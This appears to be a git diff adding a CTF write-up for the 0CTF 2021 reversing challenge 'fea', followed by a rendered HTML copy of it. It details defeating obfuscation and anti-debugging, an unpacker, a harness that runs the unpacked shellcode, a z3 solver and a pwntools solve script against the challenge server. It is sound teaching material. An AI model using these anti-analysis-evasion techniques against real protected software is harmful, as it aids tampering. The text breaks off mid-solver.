+                    chain_logger.info("Found debugbreak at 0x%x", ins.ea)
+                    new_insn = minsn_t(ins.ea)
+                    new_insn.opcode = m_xor
+                    new_insn.l.make_gvar(0xdead0000)
+                    new_insn.l.size = 4
+                    new_insn.r.make_number(0xdeadbeef, 4)
+                    new_insn.d.make_gvar(0xdead0000)
+                    new_insn.d.size = 4
+                    return new_insn
+
+        return super().check_and_replace(blk, ins)
+
+ +

I was not expecting that much, but after hitting F5 (and waiting like 2 minutes):

+ +
__int64 __fastcall sub_0(__int64 a1)
+{
+  __int64 result; // rax
+
+  dword_DEAD0000 = 0xDEADBEE0;
+  *(_DWORD *)a1 = 0x2B106BC4;
+  result = a1 + 4;
+  *(_DWORD *)(a1 + 4) = 0x750E24C4;
+  return result;
+}
+
+ +

And then I realized, oh our input is constant and hence this just sets our input to the constants seen above. My teammate wrote a quick binary, that mmaps the unpacked shellcode, runs the sub_0 function and prints the resulting values:

+ +
#include <stdio.h>
+#include <err.h>
+#include <sysexits.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <stdint.h>
+#include <signal.h>
+
+static int* const deadpage = (void*)0xdead0000;
+
+void handler(int sig) {
+    *deadpage ^= 0xdeadbeef;
+}
+
+int main(int argc, char** argv) {
+    if (argc != 2) {
+        errx(EX_USAGE, "usage: %s <unpacked-blob>", argv[0]);
+    }
+
+    int fd = open(argv[1], O_RDONLY);
+    if (fd < 0) {
+        err(EX_NOINPUT, "couldn't open file");
+    }
+
+    void *mem = mmap(NULL, 0x100000, PROT_READ | PROT_EXEC, MAP_FILE | MAP_PRIVATE, fd, 0);
+    if (mem == MAP_FAILED) {
+        err(EX_OSERR, "couldn't map file");
+    }
+
+    void *deadmapping = mmap(deadpage, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
+    if (deadmapping == MAP_FAILED) {
+        err(EX_OSERR, "couldn't map 0xdead....");
+    }
+    if (deadmapping != deadpage) {
+        // what is MAP_FIXED lol
+        errx(EX_OSERR, "couldn't actualy map 0xdead....");
+    }
+
+    if (signal(SIGTRAP, handler) != 0) {
+        err(EX_OSERR, "couldn't install signal handler");
+    }
+
+    int buf[2] = {0};
+    ((void(*)(int*))mem)(buf);
+    printf("%08x %08x\n", buf[0], buf[1]);
+}
+
+ +

The final piece of the puzzle left, was function sub_223F3, which actually does something with our input. Fortunately, it seems it was exactly the same for every binary. I translated it into z3 and was able to solve for our input (after wasting some time debugging why it wasn’t working, because I mistyped v1 as v4):

+ +
import z3
+from pwn import *
+
+def hiword(val):
+    return z3.Extract(31, 16, val)
+
+def loword(val):
+    return z3.Extract(15, 0, val)
+
+def toint(val):
+    num = val.size()
+    if num == 32:
+        return val
+    return z3.ZeroExt(32-num, val)
+
+def thingy(a, b, cond, c):
+    return z3.If(cond != 0,
+        toint(a) - toint(b) - (z3.LShR(toint(a) - toint(b), 16)),
+        toint(c)
+    )
+
+def wtf(num):
+    x = z3.BitVecVal(num, 32)
+    res = z3.simplify(toint(loword(x)) - toint(hiword(x)) - (z3.LShR(toint(loword(x)) - toint(hiword(x)), 16)))
+    return res.as_long()
+
+def do_solve(t1, t2):
+    inp = []
+    for i in range(2):
+        inp.append(z3.BitVec(f'inp_{i}', 32))
+    a1 = inp
+    v1 = a1[1]
+    v2 = 7 * toint(hiword(a1[0]))
+    v3 = thingy(loword(v2), hiword(v2), v2, -6 - toint(hiword(a1[0])))
+    v4 = a1[0] + 6
+    v5 = toint(hiword(v1)) + 5
+    v6 = toint(4 * toint(loword(v1)))
+
+    v1 = thingy(loword(v6), hiword(v6), v6, -3 - toint(loword(v1)))
+
+    v7 = toint(3 * toint(loword(v3 ^ v5)))
+    v8 = thingy(loword(v7), hiword(v7), v7, -3 - toint(loword(v3 ^ v5)))
+
+    v9 = toint(loword(v8 + (v1 ^ v4)))
+    r1 = loword(2*v9)
+    r2 = loword(z3.LShR(toint(2*v9), 16))
+    v10 = thingy(r1, r2, 2*v9, ~v9)
+    s = z3.Solver()
+    res1 = (z3.ZeroExt(16, loword(v5 ^ v10)) | ((v10 ^ v3) << 16))
+    res2 = ((toint(loword((v10 + v8) ^ v1))) | (((v10 + v8) ^ v4) << 16))
+    s.assert_and_track(t1 == res1, "res1")
+    s.assert_and_track(t2 == res2, "res2")
+    assert s.check() == z3.sat
+    m = s.model()
+    nums = [m.eval(i).as_long() for i in inp]
+    in_val = b""
+    for num in nums:
+        in_val += p32(num)
+    return in_val
+
+ +

With all of that done, we can now write our exploit script and get the flag :):

+ +
#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ pwn template --host 111.186.58.164 --port 30212
+from pwn import *
+from hashlib import sha256
+from itertools import product
+import re
+from pwnlib.tubes.tube import tube
+# import pow
+
+# Set up pwntools for the correct architecture
+context.update(arch='i386')
+exe = './path/to/binary'
+
+# Many built-in settings can be controlled on the command-line and show up
+# in "args".  For example, to dump all data sent/received, and disable ASLR
+# for all created processes...
+# ./exploit.py DEBUG NOASLR
+# ./exploit.py GDB HOST=example.com PORT=4141
+host = args.HOST or '111.186.58.164'
+port = int(args.PORT or 30212)
+
+def local(argv=[], *a, **kw):
+    '''Execute the target binary locally'''
+    if args.GDB:
+        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
+    else:
+        return process([exe] + argv, *a, **kw)
+
+def remote(argv=[], *a, **kw):
+    '''Connect to the process on the remote host'''
+    io = connect(host, port)
+    if args.GDB:
+        gdb.attach(io, gdbscript=gdbscript)
+    return io
+
+def start(argv=[], *a, **kw):
+    '''Start the exploit against the target.'''
+    if args.LOCAL:
+        return local(argv, *a, **kw)
+    else:
+        return remote(argv, *a, **kw)
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+continue
+'''.format(**locals())
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+
+def solve_proof_of_work(hashable_suffix, hash) :
+    alphabet = (string.ascii_letters + string.digits + '!#$%&*-?')
+    for hashable_prefix in product(alphabet, repeat=4) :
+        current_hash_in_hex = sha256((''.join(hashable_prefix) + hashable_suffix).encode()).hexdigest()
+        if current_hash_in_hex == hash :
+            return ''.join(hashable_prefix)
+
+
+io = start()
+
+proof_of_work_line = io.recvline(keepends=False).decode("utf-8")
+io.recvline()
+hashable_suffix = re.search('sha256\(XXXX\+(.*)\) ==', proof_of_work_line).group(1)
+hash = re.search('== (.*)', proof_of_work_line).group(1)
+log.info("Solving POW %s for %s", hashable_suffix, hash)
+proof = solve_proof_of_work(hashable_suffix, hash)
+io.sendline(proof)
+io: tube
+
+import base64
+
+def read_challenge():
+    io.readuntil("Here is your challenge:")
+    # swallow 2 newlines
+    io.recvline()
+    io.recvline()
+    challenge = io.recvline()
+    return base64.b64decode(challenge)
+
+for i in range(3):
+
+    log.info("Downloading challenge %d", i)
+    chal1 = read_challenge()
+    with open(f"chal{i}", "wb") as f:
+        f.write(chal1)
+
+    import unpack
+    log.info("Unpacking challenge")
+    unpacked = unpack.unpack(chal1)
+
+    with open(f"chal{i}_unpacked", "wb") as f:
+        f.write(unpacked)
+
+    log.info("Running wrapper")
+    p = process(["./wrapper", f"chal{i}_unpacked"])
+    res1 = p.readuntil(" ")
+    res1 = int(res1, 16)
+    res2 = p.readuntil("\n")
+    res2 = int(res2, 16)
+
+    log.info("Targets: 0x%x, 0x%x", res1, res2)
+
+    import do_solve
+    sender = do_solve.do_solve(res1, res2)
+
+    io.send(sender)
+
+io.interactive()
+
+ +
+
    +
  1. +

    For some reason I tried making a fast GPU based POW solver, turns out it’s slower than just python hashlib :face_palm: 

    +
  2. +
  3. +

    This was probably for other reasons, angr did manage to work later on. 

    +
  4. +
+
+ + + + + + +
+
+
+ +
+ +
+ + + + +
+ + diff --git a/0CTF-2021/rev/fea.md b/0CTF-2021/rev/fea.md new file mode 100755 index 0000000..78acf43 --- /dev/null +++ b/0CTF-2021/rev/fea.md @@ -0,0 +1,936 @@ +# fea + +**Authors:** gallileo, null +**Tags:** rev, obfuscation +**Points:** 458 +**Description:** +> nc 111.186.58.164 30212 + +Only a netcat connection as description for a rev challenge, off to a good start I see. After connecting and solving the POW[^1], we receive the following: + +``` +[1/3] +Here is your challenge: + +f0VMRgIBAQAAAAAAAAAAAAIAPgAB... + +Plz beat me in 10 seconds X3 :) +``` + +So it seems that this is a twist on the old automatic exploitation challenge :). +I wrote a quick script to collect as many samples as possible, thinking that maybe they were just cycling a few different binaries: + +```python +class chal_info: + def __init__(self, idx, md5): + self.md5 = md5 + self.occurrences = 1 + self.idx = idx + + def did_see(self): + self.occurrences += 1 + + @property + def filename(self): + return os.path.join("samples", f"chal_{self.idx}") + +idx = 0 +chals: Dict[str, chal_info] = {} +while True: + try: + io = start() + + proof_of_work_line = io.recvline(keepends=False).decode("utf-8") + io.recvline() + hashable_suffix = re.search('sha256\(XXXX\+(.*)\) ==', proof_of_work_line).group(1) + hash = re.search('== (.*)', proof_of_work_line).group(1) + log.info("Solving POW %s for %s", hashable_suffix, hash) + proof = solve_proof_of_work(hashable_suffix, hash) + io.sendline(proof) + io: tube + + import base64 + + def read_challenge(): + io.readuntil("Here is your challenge:") + # swallow 2 newlines + io.recvline() + io.recvline() + challenge = io.recvline() + return base64.b64decode(challenge) + + chal = read_challenge() + + chal_md5 = hashlib.md5(chal).hexdigest() + if chal_md5 in chals: + chals[chal_md5].did_see + else: + info = chal_info(idx, chal_md5) + idx += 1 + chals[chal_md5] = info + with open(info.filename, "wb") as f: + f.write(chal) + + log.info("Statistics:") + for key, chal in chals.items(): + print(f"\t{chal.filename}: #{chal.occurrences} ({chal.md5})") + + + io.close() + except: + log.warning("Had an error") +``` + +I started analyzing one of the binaries in my favourite disassembler. `main` looked pretty bad and the other functions didn't look pretty either: + +```c +__int64 __fastcall main(__int64 a1, char **a2, char **a3) +{ + int v3; // esi + int v4; // ecx + int v5; // eax + int v6; // ecx + int v7; // ecx + int i; // [rsp+4Ch] [rbp-34h] + int v10; // [rsp+5Ch] [rbp-24h] + char *s; // [rsp+60h] [rbp-20h] + + sub_400D90(a1, a2, a3); + s = (char *)mmap(0LL, 0x100000uLL, 7, 34, -1, 0LL); + memset(s, 0, 0x100000uLL); + for ( i = 911436592; ; i = v4 ) + { + while ( 1 ) + { + while ( 1 ) + { + while ( 1 ) + { + while ( 1 ) + { + while ( 1 ) + { + while ( 1 ) + { + while ( 1 ) + { + if ( i == -1611068981 ) + { + perror(aPu); + exit(-1); + } + if ( i != -1554549674 ) + break; + i = 1518786008; + usleep(0x186A0u); + } + if ( i != -1535510725 ) + break; + v10 = sub_404740(&unk_6060D0, 73569LL, s, 0xFFFFFFLL); + v7 = -1085199925; + if ( !v10 ) + v7 = -1611068981; + i = v7; + } + if ( i == -1297152665 ) + { + perror(a1P); + exit(-1); + } + if ( i != -1085199925 ) + break; + sub_400EC0(); + i = 1628391944; + ((void (*)(void))&s[dword_6060C0])(); + } + if ( i != -122192319 ) + break; + sub_400EC0(); + i = 1518786008; + } + if ( i != 610093714 ) + break; + v5 = sub_4014E0(); + v6 = -1554549674; + if ( v5 != dword_6180D0 ) + v6 = 620693745; + i = v6; + } + if ( i != 620693745 ) + break; + ((void (*)(void))loc_400AC0)(); + i = -1554549674; + } + if ( i != 911436592 ) + break; + v3 = -122192319; + if ( s == (char *)-1LL ) + v3 = -1297152665; + i = v3; + } + if ( i != 1518786008 ) + break; + v4 = -1535510725; + if ( !dword_6180CC ) + v4 = 610093714; + } + munmap(s, 0x100000uLL); + return 0LL; +} +``` + +I also noticed that the strings must be encrypted, because one of the functions was doing a `sprintf` without any format specifiers in a weird looking string: + +```c +snprintf(s, 0x400uLL, &byte_618040, v8); +char byte_618040[16] = +{ + '\xE6', '\xB9', '\xBB', '\xA6', '\xAA', '\xE6', '\xEC', '\xAD', '\xE6', '\xAA', '\xA4', '\xAD', '\xA5', '\xA0', '\xA7', '\xAC' +}; + +``` + +One xref later, we found an init function that decrypts the string. Some IDA scripting later, and we can decrypt the strings in the binary: + +```python +import idaapi +import ida_segment +import logging +log = logging.getLogger("decrypt_strings") + +def do_init_array(): + seg: idaapi.segment_t = ida_segment.get_segm_by_name(".init_array") + log.info("Found init_array: 0x%x - 0x%x", seg.start_ea, seg.end_ea) + funcs = [] + ea = seg.start_ea + idx = 1 + while ea != idaapi.BADADDR and ea < seg.end_ea: + func_addr = idaapi.get_qword(ea) + funcs.append(func_addr) + idaapi.set_name(func_addr, f"init{idx}") + ea += 8 + idx += 1 + return funcs + +init_funcs = do_init_array() + +dec_loop_size = 0x43 +dec_addr_off = 0x12 +dec_key_off = 0x18 +dec_size_off = 0x26 +import idc + +def decrypt_string(loop_start): + log.info("Decrypting string@0x%x", loop_start) + mov_insn = idaapi.insn_t() + xor_insn = idaapi.insn_t() + sub_insn = idaapi.insn_t() + idaapi.decode_insn(mov_insn, loop_start+dec_addr_off) + idaapi.decode_insn(xor_insn, loop_start+dec_key_off) + idaapi.decode_insn(sub_insn, loop_start+dec_size_off) + addr = mov_insn.Op2.addr + key = xor_insn.Op2.value + size = sub_insn.Op2.value + log.info("Decrypting string @ 0x%x of size 0x%x", addr, size) + dec_str = "" + for i in range(size+1): + car = idaapi.get_byte(addr + i) + dec_car = (car ^ key) & 0xff + dec_str += chr(dec_car) + idaapi.patch_byte(addr + i, dec_car) + + idaapi.create_strlit(addr, 0, 0) + + log.info("Decrypted string: %s", dec_str) + +def decrypt_strings(): + decrypt_string_func = init_funcs[0] + log.info("Decrypt strings@0x%x", decrypt_string_func) + curr = decrypt_string_func + for i in range(8): + decrypt_string(curr) + curr += dec_loop_size + +decrypt_strings() +``` + +Turns out the strings were not so useful after all, they are just used for anti debugging. Basically, the binary checks whether the command line is one of `gdb`, `strace`, `ltrace` or `linux_server64`, and if yes, enters infinite recursion. + +However, I also found another interesting looking init function: + +```c +__int64 init4() +{ + __int64 result; // rax + int v1; // esi + unsigned int i; // [rsp+2Ch] [rbp-14h] + void *s; // [rsp+30h] [rbp-10h] + + signal(14, sub_400AF0); + alarm(1u); + dword_6180D0 = sub_4014E0(); + s = mmap((void *)0xDEAD0000LL, 0x1000uLL, 3, 34, -1, 0LL); + memset(s, 0, 0x1000uLL); + for ( i = 691787201; ; i = v1 ) + { + result = i; + if ( i == -794482235 ) + break; + if ( i == 397321255 ) + { + perror(a1P); + exit(-1); + } + v1 = -794482235; + if ( s == (void *)-1LL ) + v1 = 397321255; + } + return result; +} + +``` +It seems to install a SIGALARM handler and also mmaps `0xDEAD0000`. The SIGALARM handler basically just sets a variable, such that main can advance. While this looked a lot nicer, it was still clearly obfuscated. I remembered reading about similar obfuscation and there being an IDA plugin that can help with that. + +I found the plugin again and it proved to be quite useful: https://eshard.com/posts/d810_blog_post_1/ + +With the plugin installed and configured correctly (make sure to turn off the rules about global variables), functions suddenly looked perfectly fine again: + +```c +__int64 __fastcall main(__int64 a1, char **a2, char **a3) +{ + char *s; // [rsp+60h] [rbp-20h] + + sub_400D90(); + s = (char *)mmap(0LL, 0x100000uLL, 7, 34, -1, 0LL); + memset(s, 0, 0x100000uLL); + sub_400EC0(); + while ( !dword_6180CC ) + { + if ( (unsigned int)sub_4014E0() != dword_6180D0 ) + ((void (*)(void))loc_400AC0)(); + usleep(0x186A0u); + } + sub_404740(&unk_6060D0, 73569LL, s, 0xFFFFFFLL); + sub_400EC0(); + ((void (*)(void))&s[dword_6060C0])(); + munmap(s, 0x100000uLL); + return 0LL; +} +``` + +After some basic analysis using our newly found powers, we can see that main is very simple: + +```c +__int64 __fastcall main(__int64 a1, char **a2, char **a3) +{ + void (__fastcall **s)(__int64); // [rsp+60h] [rbp-20h] + + setup(); + s = (void (__fastcall **)(__int64))mmap(0LL, 0x100000uLL, 7, 34, -1, 0LL); + memset(s, 0, 0x100000uLL); + check_for_debugger(); + while ( !did_alarm ) + { + if ( (unsigned int)count_breakpoints() != init_num_bps ) + ((void (*)(void))probably_crash)(); + usleep(0x186A0u); + } + unpack(some_buf, 72638, (char *)s, 0xFFFFFF); + check_for_debugger(); + ((void (*)(void))((char *)s + entry_off))(); + munmap(s, 0x100000uLL); + return 0LL; +} +``` + +`setup` sets up buffering, gets pid and checks the command line. It also installs the following interesting SIGTRAP handler: + +```c +void handler() +{ + MEMORY[0xDEAD0000] ^= 0xDEADBEEF; +} +``` + +At first, I thought this was just another anti debugging technique, but as it turns out later, this is used in the binary. +Next, we see that it just waits for the first alarm, then unpacks a buffer and executes it (at an offset). My team mate started working on an unpacker. He said "the source code is self documenting", so here you go ;): + +```python +#!/usr/bin/env python3 + + +def unpack(binary): + packed_full = binary[0x60d0:] # TODO: find real size + unpacked = bytearray() + + # the packed data is always consumed linearly, so just "eat" prefixes to avoid annoying index calc + packed = packed_full + + def eat(n): + nonlocal packed + val = packed[:n] + packed = packed[n:] + return val + + def eat_byte(): + return eat(1)[0] + + firsthigh = packed[0] >> 5 + assert firsthigh == 0 or firsthigh == 1 + big_chungus = (firsthigh == 1) + assert big_chungus # could remove this assert, but it seems like every chal is actually big chungus + + # remove high bits from very first byte to treat it like a regular memcpy + packed = bytes([packed[0] & 0x1f]) + packed[1:] + + def eat_size(): + # yeah, this is shitty code + if big_chungus: + eaten = eat_byte() + result = eaten + while eaten == 0xff: + # print("BIG CHUNGUS SIZE") + eaten = eat_byte() + result += eaten + return result + else: + return eat_byte() + + + # this ends up reading more than the size of the original packed buffer, which means it produces garbage at the end. + # we probably don't care, but TODO: possibly fix this + while len(packed): + firstbyte = eat_byte() + high, low = firstbyte >> 5, firstbyte & 0x1f + # print(high, low) + if high == 0: + # simple memcpy + size = low + 1 + unpacked += eat(size) + else: + if high == 7: # all bits set + size = (high - 1) + eat_size() + 3 + else: + size = (high - 1) + 3 + least_sig_offset = eat_byte() + rel_offset = -(least_sig_offset + 1 + 0x100*low) + # print("size ", size) + if big_chungus and least_sig_offset == 0xff and low == 0x1f: + # print("BIG CHUNGUS OFFSET") + most_sig = eat_byte() + least_sig = eat_byte() + rel_offset = -(0x2000 + (most_sig << 8) + least_sig) + + # print("rel offset ", rel_offset, "; size", size, "; copied", len(unpacked)) + assert -rel_offset <= len(unpacked) + offset = rel_offset + len(unpacked) + # existing = unpacked[offset:offset+size] + # unpacked += existing.ljust(size, b"\x00") + # weird memmove aliasing behavior means we need to copy byte by byte + for i in range(size): + unpacked += bytes([unpacked[offset + i]]) + return unpacked + +if __name__ == "__main__": + filename = "chals/chal_16" + binary = open(filename, 'rb').read() + unpacked = unpack(binary) + open(filename + "__unpacked", "wb").write(unpacked) + + +``` + +In case the source code isn't quite as self-documenting as he claimed: + +- In every binary, the packed data always starts at a constant offset `0x60d0`. This makes it easy to extract. While the length varies by some amount (and could be extracted from the binary), it turned out to be sufficient to simply decode as much as we can and ignore the excess. +- We're not sure if the format of the packed data is well-known somehow (or a variant of something well-known), but it's fairly simple either way. +- The packed data consists of a sequence of what we will call *chunks*. The 3 most significant bits of the first byte of a chunk determine its type: + - If they're 0, this is a simple "constant" chunk. The size is determined by least significant 5 bits plus 1, i.e. `(firstbyte & 0x1f) + 1` bytes of data follow, which are copied into the output. + - If they're non-zero, the chunk references a certain amount of bytes *from the output that was already written, relative to the end of the output buffer*. Both the size and the relative offset are encoded in a variable-length scheme. + - The contents of the output buffer are `memmove`d instead of `memcpy`'d. Special care has to be taken for cases where the source and destination memory ranges overlap, which can and does happen. +- The very first chunk is always treated as constant data. Its 5 most significant bits instead set what we call the `big_chungus` flag (`True` if they are equal to 1, `False` if 0, error of they're set to anything else). This flag appears to enable some additional variable-length encoding of sizes and offsets, and always seems to be set to true in the binaries we were given. The unpacking function in the binary, `sub_404740`, in fact calls two different functions; the big-chungus-enabled `sub_403E50` or the apparently unused `sub_402760`. + +I patched out the anti debugging checks and signal handlers and started debugging. +I dumped the unpacked code into a binary file and loaded it into IDA once again. +I also continued debugging the unpacked code. It was really annyoing to debug and statically analyze, since most functions have the following snippet interspersed every few instructions: + +```x86asm +nullsub_428: + ret + +call nullsub_428 +call sub_2258E + +sub_2258E: + add qword ptr [rsp+0], 1 + retn +``` + +Basically, this skips over the byte after the second call and hence IDA cannot really reconstruct the control flow / figure out where instructions are. However, this is nothing a little IDA scripting can't fix ;): + +```python +import binascii +import idaapi +import ida_funcs +import ida_bytes +import idc +import logging +log = logging.getLogger("patching") + +shitty_func = binascii.unhexlify("4883042401C3") + +def run(start, end): + log.info("Running from 0x%x - 0x%x", start, end) + curr = start + while curr != idaapi.BADADDR and curr < end: + # make code + # idaapi.del_items(curr) + insn = idaapi.insn_t() + ret = idaapi.create_insn(curr, insn) + if ret == 0: + idaapi.del_items(curr, 8) + idaapi.del_items(curr+1, 8) + ret = idaapi.create_insn(curr, insn) + if ret == 0: + log.error("Failed to create instruction at 0x%x", curr) + return + # insn_size = ret + next_ea = idaapi.get_first_cref_from(curr) + # if call, check if skip next byte + if idaapi.is_call_insn(insn): + call_addr = insn.Op1.addr + is_skip = True + log.info("Shitty func: %s", shitty_func.hex()) + for i, c in enumerate(shitty_func): + if idaapi.get_byte(call_addr + i) != c: + log.info("Mismatched") + is_skip = False + break + if is_skip: + log.info("Identified skip call @ 0x%x", curr) + idaapi.patch_byte(curr, 0xe9) + idaapi.patch_byte(curr + 1, 0x01) + idaapi.del_items(curr) + idaapi.create_insn(curr, insn) + next_ea += 1 + log.info("Next ea: 0x%x", next_ea) + # return + curr = next_ea + # patch to jmp rel + # else inc curr + +run(0x0, 0x222C8) +``` + +Basically, this goes through the instructions and if it sees a call to such a function, it patches it with a jmp to the next byte. Armed with this and debugging some more, it becomes apparent what the function does (manual decompilation): + +```c +int user[2]; +int final[2] = {}; + +read(0, user, 8); +sub_223F3(user); +sub_0(final); +if (final[0] == user[0] && final[1] == user[1]) { + puts("Right!"); +} else { + puts("Wrong!"); +} +``` + +Unfortunately, for the longest time, I thought that sub_0 was getting called with our input and not zeroes (more on that later). In any case, I tried running angr on it, but it seemed to not really work. One issue was that sub_0 actually has a lot of int 3 instructions. I tried doing the following to implement the sighandler from the binary, but I still didn't get an answer[^2]: + +```python +class SimEngineFailure(angr.engines.engine.SuccessorsMixin): + def process_successors(self, successors, **kwargs): + state = self.state + jumpkind = state.history.parent.jumpkind if state.history and state.history.parent else None + + if jumpkind is not None: + if jumpkind == "Ijk_SigTRAP": + val = state.mem[0xDEAD0000].dword + state.mem[0xDEAD0000].dword = val.resolved ^ 0xDEADBEEF + self.successors.add_successor(state, state.regs.rip, state.solver.true, 'Ijk_Boring') + self.successors.processed = True + return + + return super().process_successors(successors, **kwargs) + + +class UberUberEngine(SimEngineFailure,angr.engines.UberEngine): + pass + +``` + +So I started reving sub_0 manually (still thinking it depended on our input and hence we would need to know what it does). Unfortunately, even with the patched binary, IDA still didn't want to include all of the function in the function, so some more scripting later, I was finally able to hit decompile on the whole thing: + +```python +def find_prev_next(addr): + res = idaapi.BADADDR + for i in range(10): + res = idaapi.get_first_cref_from(addr-i) + if res != idaapi.BADADDR: + return res + return res + +def append_chunk(curr): + if idaapi.append_func_tail(f, curr, idaapi.BADADDR): + print(f.tails.count) + print(f.tails[f.tails.count-1].start_ea) + end_ea = f.tails[f.tails.count-1].end_ea + print(hex(end_ea)) + next_ea = find_prev_next(end_ea) + return next_ea + return None + +for i in range(400): + curr = append_chunk(curr) + if curr == idaapi.BADADDR: + print("ERROR") + break +``` + +Before being able to hit F5 and see something, I had to increase the max function size in IDA (this was already very promising), but I finally got to see it in all it's glory: + +```c +__int64 __fastcall sub_0(__int64 a1) +{ + v603 = *(_DWORD *)a1 ^ *(_DWORD *)(a1 + 4); + nullsub_1(a1); + dword_DEAD0000 = v603 - 471 + 261; + __debugbreak(); + v604 = (((dword_DEAD0000 - 396) & 0x7D ^ 0xCA | 0x1E1u) >> 2) | (((dword_DEAD0000 - 396) & 0x7D ^ 0xCA | 0x1E1) << 6); + nullsub_2(); + nullsub_3(); + dword_DEAD0000 = v604 / 0x1DF / 0x2E % 0x34; + __debugbreak(); + v605 = (((unsigned int)dword_DEAD0000 >> 2) | (dword_DEAD0000 << 6)) % 0x25; + nullsub_4(); + dword_DEAD0000 = ((((v605 - 292) % 0x16A) | 0x30) + 208) & 0x22; + __debugbreak(); + dword_DEAD0000 = (((dword_DEAD0000 + 137) | 0xB9) ^ 0x166) + 67; + __debugbreak(); + dword_DEAD0000 = (8 * (dword_DEAD0000 & 0x19E)) | ((unsigned __int16)(dword_DEAD0000 & 0x19E) >> 5); + __debugbreak(); + v1 = (unsigned int)dword_DEAD0000 >> 5; + v606 = ((((((unsigned int)v1 | (8 * dword_DEAD0000)) ^ 0x1D8 | 0x33) + 87) % 0x2A / 0x1C5) ^ 0x25) % 0x7B; + // --------------------------------- + // ... around 2500 lines of this lol + // --------------------------------- + v602 = ((797940 * ((((unsigned int)v251 | (16 * v601)) + 293) & 0x1B6) - 477) << 6) | ((797940 + * ((((unsigned int)v251 | (16 * v601)) + + 293) & 0x1B6) + - 477) >> 2); + v723 = (((2 * v602) | (v602 >> 7)) >> 6) | (4 * ((2 * v602) | (v602 >> 7))); + *(_DWORD *)a1 = v723 - 0x50EF943B; + result = a1 + 4; + *(_DWORD *)(a1 + 4) = v723 - 0x6F1DB3B; + return result; +} +``` + +Obviously, this was not going to be possible to reverse by hand. However, it seemed to be just constant operations. Just for the fun of it, I added two rules to the aforementiond deobfuscation plugin: + +- replace nullsubs with nops +- replace __debugbreak with `*0xDEAD0000 ^= 0xDEADBEEF` + +I did this by adding the following to `chain_rules.py`: + +```python +class NullSubChain(ChainSimplificationRule): + DESCRIPTION = "Replace calls to nullsubs with nops" + + def check_and_replace(self, blk: mblock_t, ins: minsn_t): + if blk is None: + return None + mba: mba_t = blk.mba + if mba.maturity != MMAT_PREOPTIMIZED: + return None + if ins.opcode == m_call: + left: mop_t = ins.l + if left.t == mop_v: + name = idaapi.get_name(left.g) + if "nullsub" in name: + chain_logger.info("Found nullsub call at 0x%x", ins.ea) + blk.make_nop(ins) + return None #?? + + return super().check_and_replace(blk, ins) + +class DebugBreakChain(ChainSimplificationRule): + DESCRIPTION = "Replace calls to debugbreak with sigtrap handler implementation" + + def check_and_replace(self, blk: mblock_t, ins: minsn_t): + if blk is None: + return None + mba: mba_t = blk.mba + if mba.maturity != MMAT_PREOPTIMIZED: + return None + if ins.opcode == m_call: + left: mop_t = ins.l + if left.t == mop_h: + if left.helper == "__debugbreak": + chain_logger.info("Found debugbreak at 0x%x", ins.ea) + new_insn = minsn_t(ins.ea) + new_insn.opcode = m_xor + new_insn.l.make_gvar(0xdead0000) + new_insn.l.size = 4 + new_insn.r.make_number(0xdeadbeef, 4) + new_insn.d.make_gvar(0xdead0000) + new_insn.d.size = 4 + return new_insn + + return super().check_and_replace(blk, ins) +``` + +I was not expecting that much, but after hitting F5 (and waiting like 2 minutes): + +```c +__int64 __fastcall sub_0(__int64 a1) +{ + __int64 result; // rax + + dword_DEAD0000 = 0xDEADBEE0; + *(_DWORD *)a1 = 0x2B106BC4; + result = a1 + 4; + *(_DWORD *)(a1 + 4) = 0x750E24C4; + return result; +} +``` + +And then I realized, oh our input is constant and hence this just sets our input to the constants seen above. My teammate wrote a quick binary, that mmaps the unpacked shellcode, runs the sub_0 function and prints the resulting values: + +```c +#include +#include +#include +#include +#include +#include +#include + +static int* const deadpage = (void*)0xdead0000; + +void handler(int sig) { + *deadpage ^= 0xdeadbeef; +} + +int main(int argc, char** argv) { + if (argc != 2) { + errx(EX_USAGE, "usage: %s ", argv[0]); + } + + int fd = open(argv[1], O_RDONLY); + if (fd < 0) { + err(EX_NOINPUT, "couldn't open file"); + } + + void *mem = mmap(NULL, 0x100000, PROT_READ | PROT_EXEC, MAP_FILE | MAP_PRIVATE, fd, 0); + if (mem == MAP_FAILED) { + err(EX_OSERR, "couldn't map file"); + } + + void *deadmapping = mmap(deadpage, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); + if (deadmapping == MAP_FAILED) { + err(EX_OSERR, "couldn't map 0xdead...."); + } + if (deadmapping != deadpage) { + // what is MAP_FIXED lol + errx(EX_OSERR, "couldn't actualy map 0xdead...."); + } + + if (signal(SIGTRAP, handler) != 0) { + err(EX_OSERR, "couldn't install signal handler"); + } + + int buf[2] = {0}; + ((void(*)(int*))mem)(buf); + printf("%08x %08x\n", buf[0], buf[1]); +} +``` + +The final piece of the puzzle left, was function `sub_223F3`, which actually does something with our input. Fortunately, it seems it was exactly the same for every binary. I translated it into z3 and was able to solve for our input (after wasting some time debugging why it wasn't working, because I mistyped v1 as v4): + +```python +import z3 +from pwn import * + +def hiword(val): + return z3.Extract(31, 16, val) + +def loword(val): + return z3.Extract(15, 0, val) + +def toint(val): + num = val.size() + if num == 32: + return val + return z3.ZeroExt(32-num, val) + +def thingy(a, b, cond, c): + return z3.If(cond != 0, + toint(a) - toint(b) - (z3.LShR(toint(a) - toint(b), 16)), + toint(c) + ) + +def wtf(num): + x = z3.BitVecVal(num, 32) + res = z3.simplify(toint(loword(x)) - toint(hiword(x)) - (z3.LShR(toint(loword(x)) - toint(hiword(x)), 16))) + return res.as_long() + +def do_solve(t1, t2): + inp = [] + for i in range(2): + inp.append(z3.BitVec(f'inp_{i}', 32)) + a1 = inp + v1 = a1[1] + v2 = 7 * toint(hiword(a1[0])) + v3 = thingy(loword(v2), hiword(v2), v2, -6 - toint(hiword(a1[0]))) + v4 = a1[0] + 6 + v5 = toint(hiword(v1)) + 5 + v6 = toint(4 * toint(loword(v1))) + + v1 = thingy(loword(v6), hiword(v6), v6, -3 - toint(loword(v1))) + + v7 = toint(3 * toint(loword(v3 ^ v5))) + v8 = thingy(loword(v7), hiword(v7), v7, -3 - 